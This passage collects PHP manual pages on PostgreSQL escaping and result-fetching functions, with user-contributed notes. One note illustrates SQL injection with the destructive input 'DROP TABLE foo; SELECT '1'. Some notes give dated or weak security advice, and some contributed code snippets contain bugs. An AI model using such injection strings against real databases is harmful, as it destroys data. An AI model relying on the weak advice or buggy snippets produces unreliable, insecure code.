  • pg_escape_string() - Escape a string for query

User Contributed Notes

There are no user contributed notes for this page.
pg_escape_bytea
pg_escape_literal
PostgreSQL Functions


Escape a literal for insertion into a text field

pg_escape_identifier
pg_escape_string
PostgreSQL Functions
PHP Manual

pg_escape_literal

(No version information available, might only be in SVN)

pg_escape_literal — Escape a literal for insertion into a text field

Description

string pg_escape_literal ([ resource $connection ], string $data )

pg_escape_literal() escapes a literal for querying the PostgreSQL database. It returns an escaped literal in the PostgreSQL format. pg_escape_literal() adds quotes before and after data. Users should not add quotes. Use of this function is recommended instead of pg_escape_string(). If the type of the column is bytea, pg_escape_bytea() must be used instead. For escaping identifiers (e.g. table, field names), pg_escape_identifier() must be used.

Note:

This function has internal escape code and can also be used with PostgreSQL 8.4 or less.

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

data

A string containing text to be escaped.

Return Values

A string containing the escaped data.

Examples

Example #1 pg_escape_literal() example

<?php
  // Connect to the database
  $dbconn = pg_connect('dbname=foo');

  // Read in a text file (containing apostrophes and backslashes)
  $data = file_get_contents('letter.txt');

  // Escape the text data
  $escaped = pg_escape_literal($data);

  // Insert it into the database. Note that no quotes around {$escaped}
  pg_query("INSERT INTO correspondence (name, data) VALUES ('My letter', {$escaped})");
?>

See Also

  • pg_escape_identifier() - Escape a identifier for insertion into a text field
  • pg_escape_bytea() - Escape a string for insertion into a bytea field
  • pg_escape_string() - Escape a string for query

User Contributed Notes

There are no user contributed notes for this page.
pg_escape_identifier
pg_escape_string
PostgreSQL Functions


Escape a string for query

pg_escape_literal
pg_execute
PostgreSQL Functions
PHP Manual

pg_escape_string

(PHP 4 >= 4.2.0, PHP 5)

pg_escape_string — Escape a string for query

Description

string pg_escape_string ([ resource $connection ], string $data )

pg_escape_string() escapes a string for querying the database. It returns an escaped string in the PostgreSQL format without quotes. pg_escape_literal() is more preferred way to escape SQL parameters for PostgreSQL. addslashes() must not be used with PostgreSQL. If the type of the column is bytea, pg_escape_bytea() must be used instead. pg_escape_identifier() must be used to escape identifiers (e.g. table names, field names)

Note:

This function requires PostgreSQL 7.2 or later.

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

data

A string containing text to be escaped.

Return Values

A string containing the escaped data.

Changelog

Version | Description
5.2.0 | connection added

Examples

Example #1 pg_escape_string() example

<?php
  // Connect to the database
  $dbconn = pg_connect('dbname=foo');

  // Read in a text file (containing apostrophes and backslashes)
  $data = file_get_contents('letter.txt');

  // Escape the text data
  $escaped = pg_escape_string($data);

  // Insert it into the database
  pg_query("INSERT INTO correspondence (name, data) VALUES ('My letter', '{$escaped}')");
?>

See Also

  • pg_escape_bytea() - Escape a string for insertion into a bytea field

User Contributed Notes

strata_ranger at hotmail dot com 07-Aug-2011 08:20
This may seem obvious, but remember that pg_escape_string escapes values for use as string literals in an SQL query -- if you need to escape arbitrary strings for use as SQL identifiers (column names, etc.), there doesn't seem to be a PHP function for that so you'll have to do that escaping yourself.  (PostgreSQL has an in-database function, quote_ident(), that does this.)

This can be an issue if your database contains mixed-case (or otherwise unusual) column names and you have a class interface managing your database/query interactions (for connecting to different types of databases).  If you don't double-quote your column names then postgreSQL will match them case-insensitively, but will label the results in all-lowercase (which differs from MySQL).

For example:

<?php
// Plain column identifier
$res = pg_query("Select columnName from table");
$row = pg_fetch_assoc($res);

var_dump($row['columnName']); // Doesn't work (throws E_NOTICE)
var_dump($row['columnname']); // Works

// Escaped column identifier
$res = pg_query("Select \"columnName\" from table");
$row = pg_fetch_assoc($res);

var_dump($row['columnName']); // Works
var_dump($row['columnname']); // Doesn't
?>
ppp 30-Jun-2011 12:55
pg_escape_string() won't cast array arguments to the "Array" string like php usually does; it returns NULL instead. The following statements all evaluate to true:

<?php
$a = array('foo', 'bar');

"$a" == 'Array';
(string)$a == 'Array';
$a . '' == 'Array';

is_null(pg_escape_string($a));
?>
strata_ranger at hotmail dot com 22-Jul-2010 10:40
Forthose curious, the exact escaping performed on the string may vary slightly depending on your database configuration.

For example, if your database's standard_conforming_strings variable is OFF, backslashes are treated as a special character and pg_escape_string() will ensure they are properly escaped.  If this variable is ON, backslashes will be treated as ordinary characters, and pg_escape_string() will leave them as-is.  In either case, the behavior matches the configuration of the database connection.
Nathan Bruer 08-Feb-2008 01:23
If your database is a UTF-8 database, you will run into problems trying to add some data into your database...

for securty issues and/or compatability you may need to use the: utf_encode() (http://php.net/utf8-encode) function.

for example:
<?php
$my_data = pg_escape_string(utf8_encode($_POST['my_data']));
?>
Gautam Khanna 29-Aug-2007 07:55
Security methods which you use depend on the specific purpose. For those who dont know, take a look at the following built-in PHP functions:

strip_tags()            to remove HTML characters
(also see htmlspecialchars)

escapeshellarg()      to escape shell commands etc
escapeshellcmd()

mysql_real_escape_string()     to escape mySQL commands.

Enjoy!

web dot expert dot panel at gmail dot com
johniskew2 at yahoo dot com 30-May-2006 09:43
For those who escape their single quotes with a backslash (ie \') instead of two single quotes in a row (ie '') there has recently been a SERIOUS sql injection vulnerability that can be employed taking advantage of your chosen escaping method.  More info here: http://www.postgresql.org/docs/techdocs.50
Even after the postgre update, you may still be limited to what you can do with your queries if you still insist on backslash escaping. It's a lesson to always use the PHP functions to do proper escaping instead of adhoc addslashes or magic quotes escaping.
meng 27-May-2006 04:21
Since php 5.1 the new function pg_query_params() was introduced. With this function you can use bind variables and don't have to escape strings. If you can use it, do so. If unsure why, check the changelog for Postgres 8.0.8.
otix 24-Apr-2006 03:43
Creating a double-tick is just fine. It works the same as the backslash-tick syntax. From the PostgreSQL docs:

The fact that string constants are bound by single quotes presents an obvious semantic problem, however, in that if the sequence itself contains a single quote, the literal bounds of the constant are made ambiguous. To escape (make literal) a single quote within the string, you may type two adjacent single quotes. The parser will interpret the two adjacent single quotes within the string constant as a single, literal single quote. PostgreSQL will also allow single quotes to be embedded by using a C-style backslash.
rich at dicksonlife dot com 19-Jul-2005 05:38
Here's some code I knocked up to turn an array of values into a string representation of an array. Note that I also add the external single quotes to make it a full string literal.

  //$t is array to be escaped. $u will be string literal.
  $tv=array();
  foreach($t as $key=>$val){
    $tv[$key]="\"" .
      str_replace("\"",'\\"', str_replace('\\','\\\\',$val)) . "\"
";
  }
  $u= implode(",",$tv) ;
  $u="'{" . pg_escape_string($u) . "}'";

There's probably a better way of doing this. That's why I'm posting this here :)
tsharek at o2 dot pl 02-Mar-2005 03:34
IMO the stripslashes in this case is not very usefull. Because pg_escape_string change ' into '' (double ' - not "). I use in add to database this:
pg_escape_string(stripslashes($_GET['var'])) and is in 100% safe (i hope).

If I use addslashes in this case that well be lost space in database (\''' - this is 3 bytes)

ps. sorry for my english:)
16-Jul-2003 11:30
Here with 'abc'efg'  the middle ' terminates the string, however 'abc\'def' is one big string with a ' character in the middle.

If the user can terminate the string he can then put in the bad sql.  When prompted for Barcode the user could put in  DROP TABLE foo; SELECT '1

$query = sprintf ("SELECT * FROM a.tblcards WHERE barcode='%s'", pg_escape_string($barcode));

So you have to "clean" your variable coming in to prevent that.
pg_escape_literal
pg_execute
PostgreSQL Functions


Sends a request to execute a prepared statement with given parameters, and waits for the result.

pg_escape_string
pg_fetch_all_columns
PostgreSQL Functions
PHP Manual

pg_execute

(PHP 5 >= 5.1.0)

pg_execute — Sends a request to execute a prepared statement with given parameters, and waits for the result.

Description

resource pg_execute ([ resource $connection ], string $stmtname , array $params )

Sends a request to execute a prepared statement with given parameters, and waits for the result.

pg_execute() is like pg_query_params(), but the command to be executed is specified by naming a previously-prepared statement, instead of giving a query string. This feature allows commands that will be used repeatedly to be parsed and planned just once, rather than each time they are executed. The statement must have been prepared previously in the current session. pg_execute() is supported only against PostgreSQL 7.4 or higher connections; it will fail when using earlier versions.

The parameters are identical to pg_query_params(), except that the name of a prepared statement is given instead of a query string.

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

stmtname

The name of the prepared statement to execute. if "" is specified, then the unnamed statement is executed. The name must have been previously prepared using pg_prepare(), pg_send_prepare() or a PREPARE SQL command.

params

An array of parameter values to substitute for the $1, $2, etc. placeholders in the original prepared query string. The number of elements in the array must match the number of placeholders.

Warning

Elements are converted to strings by calling this function.

Return Values

A query result resource on success or FALSE on failure.

Examples

Example #1 Using pg_execute()

<?php
// Connect to a database named "mary"
$dbconn = pg_connect("dbname=mary");

// Prepare a query for execution
$result = pg_prepare($dbconn, "my_query", 'SELECT * FROM shops WHERE name = $1');

// Execute the prepared query.  Note that it is not necessary to escape
// the string "Joe's Widgets" in any way
$result = pg_execute($dbconn, "my_query", array("Joe's Widgets"));

// Execute the same prepared query, this time with a different parameter
$result = pg_execute($dbconn, "my_query", array("Clothes Clothes Clothes"));

?>

See Also

  • pg_prepare() - Submits a request to create a prepared statement with the given parameters, and waits for completion.
  • pg_send_prepare() - Sends a request to create a prepared statement with the given parameters, without waiting for completion.
  • pg_query_params() - Submits a command to the server and waits for the result, with the ability to pass parameters separately from the SQL command text.

User Contributed Notes

nmmm at nmmm dot nu 05-May-2006 12:11
I am not 100% sure in this, but pg_exec() could return 0 as Connection ID.

because of that i change some of my code like this:

$dbres = pg_exec($SQL);

if ($dbres === false){
        echo "DB is down";
        exit;
}else{
        //do something
}
pg_escape_string
pg_fetch_all_columns
PostgreSQL Functions


Fetches all rows in a particular result column as an array

pg_execute
pg_fetch_all
PostgreSQL Functions
PHP Manual

pg_fetch_all_columns

(PHP 5 >= 5.1.0)

pg_fetch_all_columns — Fetches all rows in a particular result column as an array

Description

array pg_fetch_all_columns ( resource $result [, int $column = 0 ] )

pg_fetch_all_columns() returns an array that contains all rows (records) in a particular column of the result resource.

Note: This function sets NULL fields to the PHP NULL value.

Parameters

result

PostgreSQL query result resource, returned by pg_query(), pg_query_params() or pg_execute() (among others).

column

Column number, zero-based, to be retrieved from the result resource. Defaults to the first column if not specified.

Return Values

An array with all values in the result column.

FALSE is returned if column is larger than the number of columns in the result, or on any other error.

Examples

Example #1 pg_fetch_all_columns() example

<?php
$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
  echo "An error occured.\n";
  exit;
}

$result = pg_query($conn, "SELECT title, name, address FROM authors");
if (!$result) {
  echo "An error occured.\n";
  exit;
}

// Get an array of all author names
$arr = pg_fetch_all_columns($result, 1);

var_dump($arr);

?>

See Also

  • pg_fetch_all() - Fetches all rows from a result as an array

User Contributed Notes

strata_ranger at hotmail dot com 04-Apr-2009 06:43
Unfortunate that pg_fetch_all_columns() doesn't support fetching a column by its name -- if you want to do that, you'll need to use pg_field_num() as an intermediary:

For example:

<?php

if ($foo)
  $cols = "email_address";

else
  $cols = "last_name, middle_init";

$result = pg_query("Select first_name, $info, birthday from users_table");

// Problem -- does column #2 refer to the 'birthday' or 'middle_init' field?
$array = pg_fetch_all_columns($result, 2);

// Won't work, must use a column number instead of its name
$array = pg_fetch_all_columns($result, 'birthday');

// Works
$array = pg_fetch_all_columns($result, pg_field_num($result, 'birthday'));

?>
massiv at nerdshack dot com 22-Oct-2008 05:56
php 4 equivalent:

<?php
$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
  echo "An error occured.\n";
  exit;
}

$result = pg_query($conn, "SELECT title, name, address FROM authors");
if (!$result) {
  echo "An error occured.\n";
  exit;
}

// Get an array of all author names
$arr = array();
while ($line = pg_fetch_array($result)) {
  array_push($arr, $line['name']);
}

var_dump($arr);

?>
pg_execute
pg_fetch_all
PostgreSQL Functions


Fetches all rows from a result as an array

pg_fetch_all_columns
pg_fetch_array
PostgreSQL Functions
PHP Manual

pg_fetch_all

(PHP 4 >= 4.3.0, PHP 5)

pg_fetch_all — Fetches all rows from a result as an array

Description

array pg_fetch_all ( resource $result )

pg_fetch_all() returns an array that contains all rows (records) in the result resource.

Note: This function sets NULL fields to the PHP NULL value.

Parameters

result

PostgreSQL query result resource, returned by pg_query(), pg_query_params() or pg_execute() (among others).

Return Values

An array with all rows in the result. Each row is an array of field values indexed by field name.

FALSE is returned if there are no rows in the result, or on any other error.

Examples

Example #1 PostgreSQL fetch all

<?php
$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
    echo "An error occured.\n";
    exit;
}

$result = pg_query($conn, "SELECT * FROM authors");
if (!$result) {
    echo "An error occured.\n";
    exit;
}

$arr = pg_fetch_all($result);

print_r($arr);

?>

The above example will output something similar to:

Array
(
    [0] => Array
        (
            [id] => 1
            [name] => Fred
        )

    [1] => Array
        (
            [id] => 2
            [name] => Bob
        )

)

See Also

  • pg_fetch_row() - Get a row as an enumerated array
  • pg_fetch_array() - Fetch a row as an array
  • pg_fetch_object() - Fetch a row as an object
  • pg_fetch_result() - Returns values from a result resource

User Contributed Notes

strata_ranger at hotmail dot com 11-Jun-2009 08:00
Be aware that pg_fetch_all() is subject to the same limitations as pg_fetch_assoc(), in that if your query returns multiple columns with the same name (or alias) then only the rightmost one will be returned in the associative array, other ones will not.

A simple example:
<?php
$res = pg_query(
"SELECT a.*, b.* -- Fetch all columns from both tables
FROM table1 AS a

LEFT OUTER JOIN table2 as b
USING (column)"
);

$rows = pg_fetch_all($res);
?>

In this example, since we're selecting columns via *, if any columns from table2 share the same names as those in table1, they will be the ones returned despite that table2 (as the optional side of an outer join) may return NULL values.

This is not a bug, just a limitation of associative arrays in general, and is easy enough to avoid by structuring your queries carefully and using column aliases to avoid confusion.
prefer_not_to at say dot com 02-Jun-2009 10:09
For those wondering, this function returns a two-dimentional array, the first dimension being a 0-based indexed array, the second dimension an associative.  So you might access the first authors surname using $authors[0]["surname"].

Certainly this is the case in PHP 5.2.9, I can't vouch for other versions though.
viniciusweb at gmail dot com 20-Mar-2005 06:20
This function returns NULL if the parameter is false.
frig1 at gmx dot at 03-Feb-2005 08:15
I'm using PHP 5.0.1 and pg_fetch_all and here pg_fetch_all is also not recognized as function
09-Jun-2003 05:36
Also for those who are trying to move off oracle, pg_fetch_all returns an array with rows and columns inverted in the sense of ocifetchall. You would need to transpose this result array before your code takes the first index a column name and the second index a row index.
php dot net at mechintosh dot com 16-May-2003 11:42
For versions of PHP that don't yet support the new names or newer functions I wrote a couple functions like this one

if (! function_exists("pg_fetch_all")) {
  function pg_fetch_all($res, $kind="assoc") {
    $i = 0; // this is needed for the row integer in the looped pg_fetch_array
    if ($kind == "assoc") {
      while ($row = pg_fetch_array($res, $i, PGSQL_ASSOC)) {
        $array_out[] = $row;
        $i++;
    }else{
      while ($row = pg_fetch_array($res)) {
        $array_out[] = $row;
      }
    }
    return $array_out;
  }
}
tasmanian at devil dot com 27-Mar-2003 10:42
It seems like pg_fetch_all() only works on version 4.3.x. I tried it with 4.2.2 and it does not recognize the function, so I assume it won't work on 4 => 4.2.x.
jcomeau at whatisthewww dot com 19-Feb-2003 12:02
pg_fetch_all, despite the app note, accepts only one argument, the resultset. It does exactly what is expected, returning a two-dimensional array of the resultset. I suspect the app note given was just copied from pg_fetch_array, which is what you want to use for a single row.
pg_fetch_all_columns
pg_fetch_array
PostgreSQL Functions


Fetch a row as an array

pg_fetch_all
pg_fetch_assoc
PostgreSQL Functions
PHP Manual

pg_fetch_array

(PHP 4, PHP 5)

pg_fetch_array — Fetch a row as an array

Description

array pg_fetch_array ( resource $result [, int $row [, int $result_type = PGSQL_BOTH ]] )

pg_fetch_array() returns an array that corresponds to the fetched row (record).

pg_fetch_array() is an extended version of pg_fetch_row(). In addition to storing the data in the numeric indices (field number) to the result array, it can also store the data using associative indices (field name). It stores both indicies by default.

Note: This function sets NULL fields to the PHP NULL value.

pg_fetch_array() is NOT significantly slower than using pg_fetch_row(), and is significantly easier to use.

Parameters

result

PostgreSQL query result resource, returned by pg_query(), pg_query_params() or pg_execute() (among others).

row

Row number in result to fetch. Rows are numbered from 0 upwards. If omitted or NULL, the next row is fetched.

result_type

An optional parameter that controls how the returned array is indexed. result_type is a constant and can take the following values: PGSQL_ASSOC, PGSQL_NUM and PGSQL_BOTH. Using PGSQL_NUM, pg_fetch_array() will return an array with numerical indices, using PGSQL_ASSOC it will return only associative indices while PGSQL_BOTH, the default, will return both numerical and associative indices.

Return Values

An array indexed numerically (beginning with 0) or associatively (indexed by field name), or both. Each value in the array is represented as a string. Database NULL values are returned as NULL.

FALSE is returned if row exceeds the number of rows in the set, there are no more rows, or on any other error.

Changelog

Version | Description
4.1.0 | The row parameter became optional.

Examples

Example #1 pg_fetch_array() example

<?php

$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
  echo "An error occured.\n";
  exit;
}

$result = pg_query($conn, "SELECT author, email FROM authors");
if (!$result) {
  echo "An error occured.\n";
  exit;
}

$arr = pg_fetch_array($result, 0, PGSQL_NUM);
echo $arr[0] . " <- Row 1 Author\n";
echo $arr[1] . " <- Row 1 E-mail\n";

// As of PHP 4.1.0, the row parameter is optional; NULL can be passed instead,
// to pass a result_type.  Successive calls to pg_fetch_array will return the
// next row.
$arr = pg_fetch_array($result, NULL, PGSQL_ASSOC);
echo $arr["author"] . " <- Row 2 Author\n";
echo $arr["email"] . " <- Row 2 E-mail\n";

$arr = pg_fetch_array($result);
echo $arr["author"] . " <- Row 3 Author\n";
echo $arr[1] . " <- Row 3 E-mail\n";

?>

See Also

  • pg_fetch_row() - Get a row as an enumerated array
  • pg_fetch_object() - Fetch a row as an object
  • pg_fetch_result() - Returns values from a result resource

User Contributed Notes

strata_ranger at hotmail dot com 23-Aug-2009 01:53
Note that when using PGSQL_BOTH, numerically and associatively indexed fields are separate variables and treated as such:

<?php
$res = pg_query("Select 'foo' as bar");

$data = pg_fetch_array($res, 0, PGSQL_BOTH);

var_dump($data);
// Array(2)
// {
//   [0] => string(3) "foo"
//   ["bar"] => string(3) "foo"
// }

// This won't affect $data['bar']
$data[0] = 'bar';

var_dump($data);
// Array(2)
// {
//   [0] => string(3) "bar"
//   ["bar"] => string(3) "foo"
// }
?>

If you want to have reference binding between your numeric and associative indexes, you'll have to establish that yourself:

<?php

$result = pg_query("Select 'foo' as bar");

$data = pg_fetch_row($result);

// Establish references between column name/number
$from = $data;
foreach($from as $cx => $value)
{
    $key = pg_field_name($result, $cx);
    if (is_string($key)) $data[$key] =& $data[$cx];
}

var_dump($data);
// Array(2)
// {
//   [0] => &string(3) "foo"
//   ["bar"] => &string(3) "foo"
// }
// Note the reference binding between $data[0] and $data['bar']

$data[0] = 'baz';

var_dump($data);
// Array(2)
// {
//   [0] => &string(3) "baz"
//   ["bar"] => &string(3) "baz"
// }

?>
anonymous 13-May-2005 02:21
Hopefully most people realize this on their own, but the examples below where people tried to get creative with getting numerical or associative (not both) keys in the result are rather pointless. See the pg_fetch_assoc() and pg_fetch_row() for the built in functions that do this automatically. It's generally a better idea to use one of these other functions unless you *need* to access fields by both collumn name *and* index.
Dave O 22-Feb-2005 09:52
I found this out through help from the mailing lists.  If you need to reset the internal counter, use the pg_result_seek, similar to:

pg_result_seek($result, 0)

...plagiarized from the comment on the function's doc page.
devnull 02-Feb-2005 01:59
In response to eth0's comment below about SELECT'ing from two tables where the tables have columns with the same names, you can get around this problem like this:

"SELECT table1.foo AS foo1, table2.foo AS foo2 FROM table1, table2"

In the associative array returned, the keys will be "foo1" and "foo2".
enyo at www.red-link.com 14-Sep-2003 06:55
Just because it is not really clear how to specify the result type, I poste this message.

I wrote a wrapper function which looks like this:

<?php
    function db_fetch_array ($result, $row = NULL, $result_type = PGSQL_ASSOC)
    {
        $return = @pg_fetch_array ($result, $row, $result_type);
        return $return;
    }
?>

I think this way it is quite comfortable to get the arrays you want.
akm at e-nterart dot pl 17-Jun-2003 09:45
(Timesaver) Be aware of the fact that keys in array returned by this function are (well, at least as of 4.2.3) of the same case as SQL column names (e.g. if your column name is ID then key name is also ID, not id or Id), and the keys in associative array are CASE SENSITIVE!!! So don't be surprised if you get unexpected results. Double check SQL column names and the key names.
jesse at sokieserv dot dhs dot org 13-Dec-2001 04:38
As of PHP 4.1.0, you can now use code such as the following to iterate through a result set:

$conn = pg_connect("host=localhost dbname=whatever");
$result = pg_exec($conn, "select * from table");
while ($row = pg_fetch_array($result))
{
     echo "data: ".$row["data"];
}

Can be a nice little time saver, PHP with MySQL has supported this for a while but I'm glad to see it extended to PostgreSQL...
eth0 at fins 28-Sep-2001 11:15
Please remember that if you have for example a table Customers with "cust_ID", "name" and "address" and another table Users with "u_ID","name" and "other" and then you SELECT WHERE cust_ID=u_ID then you'll get in the result array ONLY ONE "name" field, precisely the last one resulted from the select!!!
elliot at nospam dot rightnowtech dot com 22-Jul-2001 09:50
Just remember when you 'or die' to close your table(s) or you may get a confused look from non-internet explorer users.
mkb at ele dot uri dot edu 27-Mar-2001 04:52
The column names if you use PGSQL_ASSOC or PGSQL_BOTH are always in lowercase, no matter what the name is in the database or in the query.
gherson at snet dot net 06-Mar-2001 10:30
In addition to returning "false if there are no more rows", pg_fetch_array will also trigger an E_WARNING.  You can temporarily turn that error reporting level off and suck out all your data like so:

<?php
$errRptLvl = error_reporting();
error_reporting($errRptLvl & ~(E_WARNING));

list($i,$j)=array(0,0);
while ($selection[$i++] = $this->fetchArray($j++)); // (fetchArray is a pg_fetch_array wrapper.)
error_reporting($errRptLvl); // Restore error reporting level.
unset($selection[$i-1]); // Delete the last, empty row.
return $selection;
?>
gherson at snet dot net 02-Jan-2001 09:14
PGSQL_BOTH is the default, meaning your array size will be doubled.
If you specify this field (result type), include no quotes around it or you won't get any data, not even an error.
Here's my wrapper function:
function SQL_fetch_array($result_ndx, $row, $result_type=PGSQL_ASSOC) {
   return pg_fetch_array($result_ndx, $row, $result_type);
pg_fetch_all
pg_fetch_assoc
PostgreSQL Functions


Fetch a row as an associative array

pg_fetch_array
pg_fetch_object
PostgreSQL Functions
PHP Manual

pg_fetch_assoc

(PHP 4 >= 4.3.0, PHP 5)

pg_fetch_assoc — Fetch a row as an associative array

Description

array pg_fetch_assoc ( resource $result [, int $row ] )

pg_fetch_assoc() returns an associative array that corresponds to the fetched row (records).

pg_fetch_assoc() is equivalent to calling pg_fetch_array() with PGSQL_ASSOC as the optional third parameter. It only returns an associative array. If you need the numeric indices, use pg_fetch_row().

Note: This function sets NULL fields to the PHP NULL value.

pg_fetch_assoc() is NOT significantly slower than using pg_fetch_row(), and is significantly easier to use.

Parameters

result

PostgreSQL query result resource, returned by pg_query(), pg_query_params() or pg_execute() (among others).

row

Row number in result to fetch. Rows are numbered from 0 upwards. If omitted or NULL, the next row is fetched.

Return Values

An array indexed associatively (by field name). Each value in the array is represented as a string. Database NULL values are returned as NULL.

FALSE is returned if row exceeds the number of rows in the set, there are no more rows, or on any other error.

Changelog

Version | Description
4.1.0 | The parameter row became optional.

Examples

Example #1 pg_fetch_assoc() example

<?php
$conn = pg_connect("dbname=publisher");
if (!$conn) {
  echo "An error occured.\n";
  exit;
}

$result = pg_query($conn, "SELECT id, author, email FROM authors");
if (!$result) {
  echo "An error occured.\n";
  exit;
}

while ($row = pg_fetch_assoc($result)) {
  echo $row['id'];
  echo $row['author'];
  echo $row['email'];
}
?>

See Also

  • pg_fetch_row() - Get a row as an enumerated array
  • pg_fetch_array() - Fetch a row as an array
  • pg_fetch_object() - Fetch a row as an object
  • pg_fetch_result() - Returns values from a result resource

User Contributed Notes

Alexey Loktionov (error at pochta dot ru) 10-Mar-2010 04:54
Here is much powerful pg_parse_array() variant, based on FSM: for any dimension Postgres arrays (its string representation must be well-formed), with quotation rules checks, complexity O(N), where N is a length of string representation of Postgres array:

<?php

define('STATE_BEGIN', 1);
define('STATE_INARRAY',2);
define('STATE_OUTARRAY', 3);
define('STATE_INSLASH', 4);
define('STATE_INQUOTES', 5);

function pg_parse_array($value) {
        $resultArray = $indexArray = array(); $level = $index = 0;
        $ptr = &$resultArray;
        for($i = 0; $i < strlen($value); $i++){
            switch($level){
                case 1:
                    if($index > 0){
                        $ptr = & $ptr[sizeof($ptr)];
                    }
                    $indexArray[++$index] = & $ptr;
                    break;
                case -1:
                    $ptr = & $indexArray[--$index];
                    break;
            }
            $level = processFSM($value{$i}, $ptr);
        }
        return $resultArray;
    }

    function processFSM($chr, &$result){
        static $state = STATE_BEGIN, $index = 0;
        $level = 0;
        switch(true){
            case $chr == '{' && in_array($state, array(STATE_BEGIN,STATE_INARRAY,STATE_OUTARRAY), true):
                $state = STATE_INARRAY;
                $index = 0;
                $level = +1;
                break;
            case $chr == '}' && in_array($state, array(STATE_INARRAY,STATE_OUTARRAY), true):
                $state = STATE_OUTARRAY;
                $level = -1;
                break;
            case $chr == '\\' && $state !== STATE_BEGIN:
                $state = $state === STATE_INSLASH ? STATE_INQUOTES : STATE_INSLASH;
                break;

            case $chr == '"' && !in_array($state, array(STATE_BEGIN,STATE_INSLASH), true):
                $state = $state === STATE_INQUOTES ? STATE_INARRAY : STATE_INQUOTES;
                break;

            case $chr == ',' && in_array($state, array(STATE_INARRAY,STATE_OUTARRAY), true):
                $index = sizeof($result);
                break;

            case $state !== STATE_BEGIN:
                $state = $state === STATE_INSLASH ? STATE_INQUOTES : $state;
                isset($result[$index]) or $result[$index] = '';
                $result[$index] .= $chr;
                break;
        }
        return $level;
    }

?>
Anonymous 16-Jan-2010 03:16
Be aware that if one of your result fields is an array, it will be output as a string using the general format of '{value1,value2, ... }' in accordance with postgres's behavior with SQL arrays.
http://www.postgresql.org/docs/8.4/static/arrays.html#ARRAYS-IO

So, here is a function to convert simple (one-dimensional) SQL arrays to PHP arrays:

<?php
function pg_parse_array($field)
/*
 * Converts a simple SQL array field to its PHP equivalent.  e.g:
 *
 *    {null}              --> Array(null);
 *    {"null"}            --> Array("null");
 *    {foo,bar}           --> Array("foo", "bar");
 *    {"foo,bar"}         --> Array("foo,bar");
 *    {"Hello \"World\""} --> Array('Hello "World"');
 *
 */
{
  // NULL fields are always NULL
  if (!is_string($field)) return $field;

  // Check for curly braces which may indicate an SQL array field
  if ($field[0] != '{' or substr($field, -1) != '}') return $field;
  $field = trim(substr($field, 1, -1));

  $array = Array();

  // Break up the string into the following:
  //  - quoted text that MAY have special chars escaped by a backslash
  //  - unquoted text that may NOT have special chars
  $search = '/(")?+((?(1)(?:\\\\.|[^"])*|[^,]+))(?(1)\\1)/';
  preg_match_all($search, $field, $matches, PREG_SET_ORDER);

  foreach($matches as $value)
  {
    if ($value[1])
    {
      // Quoted element, with backslash used to escape chars
      $array[] = preg_replace('#\\\\(.)#', '$1', $value[2]);
    }
    else
    {
      // Unquoted element
      $value[2] = trim($value[2]);
      if (strtolower($value[2]) == 'null') $array[] = null; // NULL
      else $array[] = $value[2];
    }
  }
  return $array;
}

// Some tests to demonstrate this function
var_export(pg_parse_array('{null}'); // Output is Array(null);
var_export(pg_parse_array('{foo,bar}'); // Output is Array('foo', 'bar');
var_export(pg_parse_array('{"null"}'); // Output is Array('null');

?>
Anonymous 19-May-2009 08:24
Beware!  If your query returns multiple columns with the same names, only the right-most one will be contained in the result array.  This can cause problems if you are using a combination of joins:

For example:
<?php
// Let's say that 'pkey' is the primary-key colum for tables a and b (primary keys are never null)
$res = pg_query("Select a.pkey, b.* FROM a LEFT JOIN b using (pkey)");
$data = pg_fetch_assoc($res);
var_dump($data['pkey']) // Is actually b.pkey, may be NULL!
?>

Both tables contain a column named 'pkey'.  Now table 'b' is on the optional side of a LEFT JOIN, so b.pkey (implicitly included via 'b.*') may be NULL.

The problem arises when you use pg_fetch_assoc(), there are two columns named 'pkey' but the result array can only contain one value per key -- in this case it will pick the one from table B instead of the one from table A, and since B is on the optional side of the left-join, $data['pkey'] may be NULL.  So if you're expecting to retrieve the column from table A, you need to use a different pg_fetch() or rewrite your query to avoid ambiguity.
Anonymous 13-Oct-2008 05:18
bytea columns are returned escaped.
you need to call pg-unescape-bytea() on them to get the original binary back.
Anonymous 13-Oct-2008 04:03
regarding the optional int parameter

requesting a row number that is not present in the result set is an error. don't do it.

check with pg_num_rows() beforehand, or  just use the default behavior which returns the rows in order and false after returning the last row it returns false immediately if no rows were returned.
strata_ranger at hotmail dot com 26-Aug-2008 03:01
In a bit of follow-up to Luke's note about SQL booleans (this was a painful thing to learn the hard way), a relatively easy workaround is to typecase the boolean columns to integer inside the query, e.g:

<?php
// Assuming 'foo' is a table column of type boolean
$res = pg_query("Select foo as foo1, foo::integer as foo2 from bar");

$data = pg_fetch_assoc($res);
if ($data['foo1']) echo 'foo1 = TRUE'; // Doesn't work as expected (string 't' and string 'f' both evaluate as TRUE)
if ($data['foo2']) echo 'foo2 = TRUE'; // Works as expected (string '0' evaluates as FALSE)
?>
javier dot vilarroig at gmail dot com 02-Oct-2007 09:57
Is worth to know that when you query on multiple tables only the first row with each name is returned.

That is, if you are joining to tables with a column called 'name' you will receive only one field called name in the array and it will correspond to the one on the first table.

Is advisable to allways allias your columns in that stuation.
johniskew 01-Mar-2007 09:28
Here is another way to iterate a resultset and display all columns in very little code... might be faster than a foreach

<?php

print '<table>';
while($row=pg_fetch_assoc($rs2)) print '<tr><td>'.join('</td><td>',$row2).'</td></tr>';
print '</table>';

?>
24-May-2006 12:59
If you request a row that does not exist, it just fails, rather than simply returning false.
Luke 22-Sep-2005 06:34
Note:

PostgreSQL boolean values set to TRUE are returned as the string "t"

PostgreSQL boolean values set to FALSE are returned as the string "f"
petrus at bmail dot com dot au 24-Feb-2005 07:22
$dbconn3 = pg_connect("host=127.0.0.1 port=5432 dbname=blah user=blah password=blah");
$result = pg_query($dbconn3, "SELECT * FROM Packages");

 echo "<HTML><HEAD><TITLE>PostgreSQL Test Page</TITLE></HEAD><BODY>";
 echo "<TABLE>";

$pkg = pg_fetch_assoc($result);
foreach ($pkg as $value) {
    echo "<TR><TD>$value";
    echo "</TR></TD>";
 }

echo "</TABLE><P>";
